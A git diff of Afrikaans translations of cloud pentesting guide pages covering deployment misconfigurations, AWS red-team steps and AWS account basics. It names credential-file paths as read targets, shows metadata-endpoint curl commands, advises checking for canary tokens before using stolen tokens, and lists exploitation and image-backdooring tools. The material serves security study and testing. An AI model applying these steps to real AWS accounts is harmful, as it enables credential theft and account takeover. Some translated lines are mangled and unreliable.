Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke. +4. **Oortollige Projektoewysings** +- **Misconfigurasie:** Toekenning van meerdere projekte aan 'n enkele Veilige Rekenaarkomputasie netwerk sonder behoorlike isolasie. +- **Risiko:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed. +5. **Onvoldoende IP Adres Bestuur** +- **Misconfigurasie:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer. +- **Risiko:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite. +6. **Onnodige Bou Houers Insluiting** +- **Misconfigurasie:** Voeg bou houers by die Veilige Rekenaarkomputasie netwerk wanneer agtergrond toegang nie tydens boue benodig word nie. +- **Risiko:** Verhoogde aanval oppervlak, verhoogde provisioning vertragings, en onnodige verbruik van netwerk hulpbronne. +7. **Versuim om Bypass Geheime Veilig te Hanteer** +- **Misconfigurasie:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil. +- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi. +8. **Ignorering van Streek Failover Konfigurasies** +- **Misconfigurasie:** Nie opstel van passiewe failover streke of verkeerde failover instellings nie. +- **Risiko:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële data inkonsistensie. +9. **Oorskryding van VPC Peering Verbinding Limiete** +- **Misconfigurasie:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. oorskryding van 50 verbindings). +- **Risiko:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak. +10. **Onveilige Netwerk Instellings** +- **Misconfigurasie:** Swak vuurmuur reëls, gebrek aan versleuteling, of onbehoorlike netwerk segmentasie binne die Veilige Rekenaarkomputasie netwerk. +- **Risiko:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle. --- -### Environment Variables +### Omgewing Veranderlikes -**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word. +**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Exposing Sensitive Variables** -- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. -- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei. -- **Sensitive disabled** -- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees. -- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting. +- **Blootstelling van Sensitiewe Veranderlikes** +- **Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak. +- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke. +- **Sensitiewe gedeaktiveer** +- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees. +- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 09bc05707..ca9c6c752 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -6,7 +6,7 @@ **Voordat jy begin pentesting** 'n **AWS** omgewing, is daar 'n paar **basiese dinge wat jy moet weet** oor hoe AWS werk om jou te help verstaan wat jy moet doen, hoe om miskonfigurasies te vind en hoe om dit te benut. -Konsepte soos organisasiehiërargie, IAM en ander basiese konsepte word verduidelik in: +Konsepte soos organisasie hiërargie, IAM en ander basiese konsepte word verduidelik in: {{#ref}} aws-basic-information/ @@ -37,7 +37,7 @@ Vanuit 'n Red Team perspektief, is die **eerste stap om 'n AWS omgewing te kompr - **Sosiale** Ingenieurswese - **Wagwoord** hergebruik (wagwoordlekke) - Kw vulnerabilities in AWS-gehoste toepassings -- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata-eindpunt +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata eindpunt - **Plaaslike Lêer Lees** - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` @@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -Een van die eerste dinge wat jy moet weet is wie jy is (in watter rekening jy is en ander inligting oor die AWS omgewing): +Een van die eerste dinge wat jy moet weet, is wie jy is (in watter rekening jy is en ander inligting oor die AWS omgewing): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> Let daarop dat maatskappye **kanarie tokens** kan gebruik om te identifiseer wanneer **tokens gesteel en gebruik** word. Dit word aanbeveel om te kontroleer of 'n token 'n kanarie token is of nie voordat jy dit gebruik.\ +> Let daarop dat maatskappye dalk **canary tokens** gebruik om te identifiseer wanneer **tokens gesteel en gebruik word**. Dit word aanbeveel om te kontroleer of 'n token 'n canary token is of nie voordat jy dit gebruik.\ > Vir meer inligting [**kyk na hierdie bladsy**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Organisasie Enumerasie @@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md As jy genoeg regte het, sal **die privileges van elke entiteit binne die AWS-rekening nagaan** jou help om te verstaan wat jy en ander identiteite kan doen en hoe om **privileges te verhoog**. -As jy nie genoeg regte het om IAM te enumerate nie, kan jy dit **steal bruteforce** om dit uit te vind.\ -Kyk **hoe om die numerasie en bruteforcing** te doen in: +As jy nie genoeg regte het om IAM te enumerate nie, kan jy dit **steal bruteforce** om dit uit te figure.\ +Kyk **hoe om die numerasie en bruteforcing te doen** in: {{#ref}} aws-services/aws-iam-enum.md @@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Verhoging -As jy **ten minste jou eie regte** oor verskillende hulpbronne kan **nagaan**, kan jy **nagaan of jy in staat is om verdere regte te verkry**. Jy moet ten minste fokus op die regte wat in: +As jy **ten minste jou eie regte** oor verskillende hulpbronne kan **nagaan**, kan jy **kyk of jy verdere regte kan verkry**. Jy moet ten minste fokus op die regte wat in: {{#ref}} aws-privilege-escalation/ @@ -140,9 +140,9 @@ aws-privilege-escalation/ ## Publiek Blootgestelde Dienste Terwyl jy AWS-dienste enumerate, mag jy sommige van hulle gevind het wat **elemente aan die Internet blootstel** (VM/Containers poorte, databasisse of wagdiens, snapshots of emmers...).\ -As pentester/rooi spaner moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind aangesien dit jou **verdere toegang tot die AWS-rekening** kan bied. +As pentester/red teamer moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind aangesien dit jou **verdere toegang tot die AWS-rekening** mag bied. -In hierdie boek behoort jy **inligting** te vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste** te vind, sou ek jou aanbeveel om te **soek** na die spesifieke **diens** in: +In hierdie boek behoort jy **inligting** te vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste** te vind, sou ek jou aanbeveel om **te soek** na die spesifieke **diens** in: {{#ref}} https://book.hacktricks.xyz/ @@ -150,18 +150,18 @@ https://book.hacktricks.xyz/ ## Kompromitering van die Organisasie -### Van die wortel/ bestuursrekening +### Van die wortel/ bestuur rekening -Wanneer die bestuursrekening nuwe rekeninge in die organisasie skep, word 'n **nuwe rol** in die nuwe rekening geskep, standaard genoem **`OrganizationAccountAccessRole`** en gee **AdministratorAccess** beleid aan die **bestuursrekening** om toegang tot die nuwe rekening te verkry. +Wanneer die bestuurrekening nuwe rekeninge in die organisasie skep, word 'n **nuwe rol** in die nuwe rekening geskep, standaard genoem **`OrganizationAccountAccessRole`** en gee **AdministratorAccess** beleid aan die **bestuurrekening** om toegang tot die nuwe rekening te verkry.
So, om as administrateur toegang tot 'n kindrekening te verkry, moet jy: -- **Kompromiteer** die **bestuurs** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole per standaard) wat die bestuursrekening toelaat om as admin toegang te verkry. -- Om kindrekeninge te vind, gaan na die organisasieseksie in die aws-konsol of voer `aws organizations list-accounts` uit. -- Jy kan nie die name van die rolle direk vind nie, so kyk na al die persoonlike IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekeninge** toelaat. -- **Kompromiteer** 'n **hoof** in die bestuursrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekeninge** (selfs as die rekening enige iemand van die bestuursrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig). +- **Kompromiteer** die **bestuur** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole standaard) wat die bestuurrekening toelaat om as admin toegang te verkry. +- Om kindrekening te vind, gaan na die organisasieseksie in die aws-konsol of voer `aws organizations list-accounts` uit. +- Jy kan nie die name van die rolle direk vind nie, so kyk na al die persoonlike IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekening** toelaat. +- **Kompromiteer** 'n **hoof** in die bestuurrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekening** (selfs as die rekening enige iemand van die bestuurrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig). ## Outomatiese Gereedskap @@ -233,15 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer, en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word. - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Gebruik python2) Dit is 'n hulpmiddel wat probeer om **alle** [**AWS hulpbronne**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) wat in 'n rekening geskep is, te **ontdek**. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (beide IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **verkry**. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Dit is 'n hulpmiddel om **alle publieke IP-adresse** (beide IPv4/IPv6) wat met 'n AWS-rekening geassosieer is, te **haal**. ### Privesc & Exploiting - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Ontdek die mees bevoorregte gebruikers in die gescande AWS-omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell. Jy kan die **definisie van bevoorregte beleide** in die funksie **`Check-PrivilegedPolicy`** vind in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitering raamwerk**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict. -- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd nie). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is 'n oopbron **AWS eksploitasiestelsel**, ontwerp vir offensiewe sekuriteitstoetsing teen wolkomgewings. Dit kan **opnoem**, **mis-konfigurasies** vind en dit **eksploiteer**. Jy kan die **definisie van bevoorregte toestemmings** vind in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) binne die **`user_escalation_methods`** dict. +- Let daarop dat pacu **slegs jou eie privesc-paaie nagaan** (nie rekeningwyd). ```bash # Install ## Feel free to use venvs @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is 'n skrif en biblioteek vir die identifisering van risiko's in die konfigurasie van AWS Identity and Access Management (IAM) vir 'n AWS-rekening of 'n AWS-organisasie. Dit modelleer die verskillende IAM-gebruikers en rolle in 'n rekening as 'n gerigte grafiek, wat toelaat dat kontroles vir **privilege escalation** en vir alternatiewe paaie wat 'n aanvaller kan neem om toegang tot 'n hulpbron of aksie in AWS te verkry, gedoen word. Jy kan die **permissions used to find privesc** paaie in die lêername wat eindig op `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) nagaan. +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is 'n skrif en biblioteek om risiko's in die konfigurasie van AWS Identity and Access Management (IAM) vir 'n AWS-rekening of 'n AWS-organisasie te identifiseer. Dit modelleer die verskillende IAM-gebruikers en rolle in 'n rekening as 'n gerigte grafiek, wat toelaat dat kontroles vir **privilege escalation** en vir alternatiewe paaie wat 'n aanvaller kan neem om toegang tot 'n hulpbron of aksie in AWS te verkry, gedoen word. Jy kan die **permissions used to find privesc** paaie in die lêername wat eindig op `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) nagaan. ```bash # Install pip install principalmapper @@ -291,10 +291,10 @@ cloudsplaining download --profile dev cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalueer AWS-rekeninge vir **subdomein-hijacking kwesbaarhede** as gevolg van ontkoppelde Route53 en CloudFront konfigurasies. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lys ECR repos -> Trek ECR repo -> Agterdeur dit -> Stoot agterdeur beeld -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is 'n hulpmiddel wat **soek** deur openbare Elastic Block Storage (**EBS) snappies vir geheime** wat dalk per ongeluk agtergelaat is. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lys ECR repos -> Trek ECR repo -> Backdoor dit -> Stoot backdoored beeld +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is 'n hulpmiddel wat **soek** deur openbare Elastic Block Storage (**EBS) snapshots vir geheime** wat dalk per ongeluk agtergelaat is. -### Audit +### Oudit - [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit deur Aqua is 'n oopbronprojek wat ontwerp is om die opsporing van **veiligheidsrisiko's in wolkinfrastruktuur** rekeninge moontlik te maak, insluitend: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), en GitHub (Dit soek nie na ShadowAdmins nie). ```bash @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentrespons, deurlopende monitering, verharding en forensiese gereedheid uit te voer. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is 'n Open Source sekuriteitstoepassing om AWS sekuriteit beste praktyke assesserings, ouditte, insidentreaksie, deurlopende monitering, verharding en forensiese gereedheid uit te voer. ```bash # Install python3, jq and git # Install @@ -314,11 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel wat geskep is om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind. +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox help jou om situasionele bewustheid te verkry in onbekende wolkomgewings. Dit is 'n oopbron-opdraglyn hulpmiddel geskep om penetrasietoetsers en ander offensiewe sekuriteitsprofessionals te help om ontginbare aanvalspaaie in wolkinfrastruktuur te vind. ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditering hulpmiddel, wat sekuriteitsposisie assessering van wolkomgewings moontlik maak. +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is 'n oopbron multi-cloud sekuriteitsouditinstrument, wat sekuriteitsposisie-evaluering van wolkomgewings moontlik maak. ```bash # Install virtualenv -p python3 venv @@ -330,15 +330,15 @@ scout --help scout aws -p dev ``` - [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (gebruik python2.7 en lyk ononderhoude) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde kredensies binne die stelsel. +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is 'n kragtige hulpmiddel vir AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste versterking praktyke (lyk ononderhoude). Dit kontroleer slegs standaard geconfigureerde krediete binne die stelsel. ### Konstante Oudit -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëlsengine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die ad-hoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteit outomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleide as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word geëvalueer teen hierdie beleide om beleidskonformiteit te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties te reageer op beleids oortredings deur vooraf gedefinieerde aksies te neem. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku** , met **data bronne en waarskuwing logika wat jy definieer**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is 'n reëls engine vir die bestuur van openbare wolk rekeninge en hulpbronne. Dit stel gebruikers in staat om **beleide te definieer om 'n goed bestuurde wolkinfrastruktuur te enable**, wat beide veilig en koste-geoptimaliseer is. Dit konsolideer baie van die adhoc skripte wat organisasies het in 'n liggewig en buigsame hulpmiddel, met verenigde metrieke en verslagdoening. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is 'n platform vir **deurlopende nakoming monitering, nakoming verslagdoening en sekuriteit outomatisering vir die wolk**. In PacBot word sekuriteit en nakoming beleid as kode geïmplementeer. Alle hulpbronne wat deur PacBot ontdek word, word geëvalueer teen hierdie beleide om beleid nakoming te meet. Die PacBot **auto-fix** raamwerk bied die vermoë om outomaties te reageer op beleids oortredings deur vooraf gedefinieerde aksies te neem. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is 'n serverless, **regte-tyd** data analise raamwerk wat jou in staat stel om **data van enige omgewing in te neem, te analiseer en te waarsku** , **met data bronne en waarskuwing logika wat jy definieer**. Rekenaar sekuriteitspanne gebruik StreamAlert om terabytes van logdata elke dag te skandeer vir insidentdetectie en -reaksie. -## DEBUG: Capture AWS cli versoeke +## DEBUG: Capture AWS cli requests ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 4210e4962..f75d0953f 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,56 +8,56 @@ ### Rekeninge -In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekening** vir jou **organisasie**. U hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, u kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei. +In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekeninge** van jou **organisasie**. Jy hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, jy kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei. -Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie in staat sal wees om hulpbronne van 'n ander rekening te benader** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan u grense tussen ontplooiings skep. +Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie hulpbronne van 'n ander rekening kan toegang nie** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep. -Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lidrekeninge. +Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie Gebruiker rekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lid rekeninge. -- Die **bestuurrekening (die root rekening)** is die rekening wat u gebruik om die organisasie te skep. Van die organisasie se bestuurrekening kan u die volgende doen: +- Die **bestuurrekening (die root rekening)** is die rekening wat jy gebruik om die organisasie te skep. Van die organisasie se bestuurrekening af, kan jy die volgende doen: - Skep rekeninge in die organisasie - Nooi ander bestaande rekeninge na die organisasie - Verwyder rekeninge uit die organisasie - Bestuur uitnodigings -- Pas beleide toe op entiteite (wortels, OU's, of rekeninge) binne die organisasie +- Pas beleide toe op entiteite (wortels, OUs, of rekeninge) binne die organisasie - Aktiveer integrasie met ondersteunende AWS dienste om diensfunksionaliteit oor al die rekeninge in die organisasie te bied. - Dit is moontlik om in te log as die root gebruiker met die e-pos en wagwoord wat gebruik is om hierdie root rekening/organisasie te skep. -Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lidrekeninge opgeloop word. U kan nie 'n organisasie se bestuurrekening verander nie. +Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lid rekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie. -- **Lidrekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. U kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas. -- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). +- **Lid rekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas. +- Lid rekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **Organisasie-eenhede** -Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan wees **toegepas op al die kindrekening**. Let daarop dat 'n OU ander OU's as kinders kan hê. +Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan wees **toegepas op al die kindrekeninge**. Let daarop dat 'n OU ander OU's as kinders kan hê. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lid rekeninge**. +'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**. Dit is die ENIGE manier waarop **selfs die wortelgebruiker gestop kan word** om iets te doen. Byvoorbeeld, dit kan gebruik word om gebruikers te stop om CloudTrail te deaktiveer of rugsteun te verwyder.\ Die enigste manier om dit te omseil, is om ook die **master account** wat die SCP's konfigureer, te kompromitteer (master account kan nie geblokkeer word nie). > [!WARNING] -> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang te verkry tot 'n openbare S3-bucket** in jou rekening nie. +> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te verkry nie. SCP voorbeelde: - Weier die wortelrekening heeltemal - Laat slegs spesifieke streke toe - Laat slegs witgelysde dienste toe -- Weier GuardDuty, CloudTrail, en S3 Publieke Blok Toegang van +- Weier GuardDuty, CloudTrail, en S3 Publieke Bloktoegang van -om gedeaktiveer te word +deaktiveer -- Weier sekuriteit/voorval respons rolle om verwyder of +- Weier sekuriteit/voorvalrespons rolle om verwyder of gewysig te word. @@ -73,7 +73,7 @@ Vind **JSON voorbeelde** in [https://docs.aws.amazon.com/organizations/latest/us arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Note dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem: +Let daarop dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -94,7 +94,7 @@ IAM kan gedefinieer word deur sy vermoë om verifikasie, magtiging en toegangsbe Wanneer jy vir die eerste keer 'n Amazon Web Services (AWS) rekening skep, begin jy met 'n enkele aanmeld identiteit wat **volledige toegang tot alle** AWS dienste en hulpbronne in die rekening het. Dit is die AWS rekening _**wortel gebruiker**_ en word verkry deur in te teken met die **e-posadres en wagwoord wat jy gebruik het om die rekening te skep**. -Let daarop dat 'n nuwe **admin gebruiker** **minder toestemmings sal hê as die wortel gebruiker**. +Let daarop dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê. Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en om hierdie een te vermy. @@ -102,22 +102,22 @@ Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en 'n IAM _gebruiker_ is 'n entiteit wat jy in 